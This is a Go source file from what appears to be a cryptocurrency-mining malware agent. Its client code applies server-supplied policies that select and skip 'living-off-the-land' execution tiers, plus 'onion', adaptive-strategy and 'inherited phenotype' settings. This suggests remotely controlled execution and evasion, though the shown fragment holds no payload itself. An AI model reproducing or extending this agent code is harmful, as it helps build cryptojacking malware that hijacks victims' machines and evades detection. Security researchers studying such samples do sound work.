package client import ( "encoding/json" "crypto-miner-agent/miner" ) func (c *AgentClient) miningTierPolicy() miner.MiningTierPolicy { c.mu.Lock() policy := c.tierPolicy if len(policy.TierOrder) == 0 && policy.ForceTier == "" && len(policy.SkipTiers) == 0 && len(c.atlasSkips) == 0 { c.mu.Unlock() return miner.DefaultMiningTierPolicy() } if len(c.atlasSkips) > 0 { have := make(map[miner.LOTLTier]bool, len(policy.SkipTiers)) for _, t := range policy.SkipTiers { have[t] = true } for _, skip := range c.atlasSkips { tier := miner.LOTLTier(skip.Tier) if tier == "" || have[tier] { continue } have[tier] = true policy.SkipTiers = append(policy.SkipTiers, tier) } } c.mu.Unlock() return policy } func (c *AgentClient) applyAuthLotlPolicy(resp AuthResponse) { c.applyTripleOnionPolicyJSON(resp.TripleOnionPolicy) if len(resp.MiningTierPolicy) > 0 { c.applyMiningTierPolicyJSON(resp.MiningTierPolicy) } if len(resp.AtlasSkips) > 0 { c.applyAtlasSkips(resp.AtlasSkips) } if inheritedPhenotypePresent(resp.InheritedPhenotype) { c.applyInheritedPhenotypeJSON(resp.InheritedPhenotype) return } if len(resp.AdaptiveStrategy) > 0 { c.applyAdaptiveStrategyJSON(resp.AdaptiveStrategy) return } if len(resp.MiningTierPolicy) > 0 { return } if len(resp.LotlOnionTiers) == 0 { return } order := make([]miner.LOTLTier, len(resp.LotlOnionTiers)) for i, s := range resp.LotlOnionTiers { order[i] = miner.LOTLTier(s) } c.mu.Lock() c.tierPolicy = miner.MiningTierPolicy{TierOrder: order} c.mu.Unlock() } func (c *AgentClient) applyMiningTierPolicyJSON(raw json.RawMessage) { if len(raw) == 0 || string(raw) == "null" { return } var p miner.MiningTierPolicy if err := json.Unmarshal(raw, &p); err != nil { return } c.mu.Lock() c.tierPolicy = p c.mu.Unlock() }